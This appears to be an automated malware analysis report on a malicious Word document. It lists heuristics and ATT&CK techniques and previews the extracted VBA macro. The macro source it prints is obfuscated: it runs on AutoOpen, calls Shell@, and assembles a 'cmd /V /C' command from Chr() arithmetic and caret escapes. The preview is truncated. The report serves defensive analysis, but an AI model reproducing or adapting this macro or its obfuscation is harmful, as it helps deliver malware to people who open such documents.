MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro that is automatically executed upon opening via the AutoOpen subroutine. The VBA code is heavily obfuscated and truncated, but the presence of the Shell@ function indicates it attempts to execute an external command. This is a common technique for downloading and executing further malicious payloads.
Heuristics 4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 15351 bytes |
SHA-256: 6c6b97f006d0bb68e11123d933c5fb3f4247e2893ec7b456647fb7b85110d442 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "kROZAIm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const ciHiThjmc = 0
Dim iohaB(3)
iohaB(0) = Mid(toors, 688, 174) + Mid(toors, 688, 174)
iohaB(1) = Left(WRDzi, 791) + Mid(toors, 688, 174) + Mid(toors, 688, 174) + MidB(zUhEKvw, 678, 263)
iohaB(2) = Left(WRDzi, 791) + Mid(toors, 688, 174)
Dim MDsMz(3)
MDsMz(0) = Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263)
MDsMz(1) = Mid(toors, 688, 174) + Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263) + Right(nZlhCmUp, 2)
MDsMz(2) = Mid(toors, 688, 174) + Left(WRDzi, 791)
Dim HurDwq(3)
HurDwq(0) = Left(WRDzi, 791) + Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263) + Right(nZlhCmUp, 2)
HurDwq(1) = Left(WRDzi, 791) + Right(nZlhCmUp, 2) + Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263)
HurDwq(2) = MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791)
Dim DwQvv(5)
DwQvv(0) = MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791)
DwQvv(1) = Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263) + Mid(toors, 688, 174) + Mid(toors, 688, 174)
DwQvv(2) = Left(WRDzi, 791) + Left(WRDzi, 791)
DwQvv(3) = Mid(toors, 688, 174) + Mid(toors, 688, 174)
DwQvv(4) = Right(nZlhCmUp, 2) + Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + Right(nZlhCmUp, 2)
Shell@ zMQKt + SFRjWaAhnLDFDu + suEEmjQfCjnjz, ciHiThjmc
Dim fQFZG(3)
fQFZG(0) = Right(nZlhCmUp, 2) + Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + Left(WRDzi, 791)
fQFZG(1) = MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791)
fQFZG(2) = MidB(zUhEKvw, 678, 263) + Right(nZlhCmUp, 2)
Dim rLjpl(5)
rLjpl(0) = Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263)
rLjpl(1) = MidB(zUhEKvw, 678, 263) + MidB(zUhEKvw, 678, 263)
rLjpl(2) = Left(WRDzi, 791) + Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + Right(nZlhCmUp, 2)
rLjpl(3) = MidB(zUhEKvw, 678, 263) + Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263) + Mid(toors, 688, 174)
rLjpl(4) = Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263) + Mid(toors, 688, 174) + Left(WRDzi, 791)
Dim WDzQKD(5)
WDzQKD(0) = MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791)
WDzQKD(1) = Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791)
WDzQKD(2) = Left(WRDzi, 791) + Mid(toors, 688, 174)
WDzQKD(3) = Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263)
WDzQKD(4) = Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + Left(WRDzi, 791) + Mid(toors, 688, 174)
Dim jcwjI(2)
jcwjI(0) = Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263) + Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263)
jcwjI(1) = Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263) + Right(nZlhCmUp, 2) + MidB(zUhEKvw, 678, 263)
End Sub
Attribute VB_Name = "nQjjDXpwVUKjL"
Function zMQKt()
Dim ZENwv(3)
ZENwv(0) = Mid(toors, 688, 174) + Mid(toors, 688, 174) + Left(WRDzi, 791) + Right(nZlhCmUp, 2)
ZENwv(1) = Left(WRDzi, 791) + Left(WRDzi, 791) + Left(WRDzi, 791) + Mid(toors, 688, 174)
ZENwv(2) = Mid(toors, 688, 174) + Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263) + Mid(toors, 688, 174)
Dim DLYpzz(4)
DLYpzz(0) = Mid(toors, 688, 174) + Mid(toors, 688, 174) + MidB(zUhEKvw, 678, 263) + Mid(toors, 688, 174)
DLYpzz(1) = Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263)
DLYpzz(2) = MidB(zUhEKvw, 678, 263) + MidB(zUhEKvw, 678, 263)
DLYpzz(3) = Right(nZlhCmUp, 2) + Mid(toors, 688, 174)
uLllULjQtT = CStr(Chr(CleanString(1 + 11 + 13 + 3 + 71))) + "md /V" + "/" + CStr(Chr(CleanString(1 + 8 + 9 + 2 + 47))) + CStr(Chr(CleanString(0 + 3 + 4 + 1 + 26))) + "^se" + "^t nfk= ^ ^ " + " ^ " + "^ ^" + " ^ ^ ^" + " ^" + "}^}{h" + CStr(Chr(CleanString(1 + 11 + 13 + 3 + 71))) + "^ta" + CStr(Chr(CleanString(1 + 11 + 13 + 3 + 71))) + "^}"
Dim dhBtKz(5)
dhBtKz(0) = Right(nZlhCmUp, 2) + Left(WRDzi, 791) + Left(WRDzi, 791) + MidB(zUhEKvw, 678, 263)
dhBtKz(1) = Right(nZlhCmUp, 2) + Right(nZlhCmUp, 2) + Right(nZlhCmUp, 2) + Left(WRDzi, 791)
dhBtKz(2) = Mid(toors, 688, 174) + Left(WRDzi, 791) + Right(nZlhCmUp, 2) + Left(WRDzi, 791)
dhBtKz(3) = Right(nZlhCmUp, 2) + Mid(toors, 688, 174) + M
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.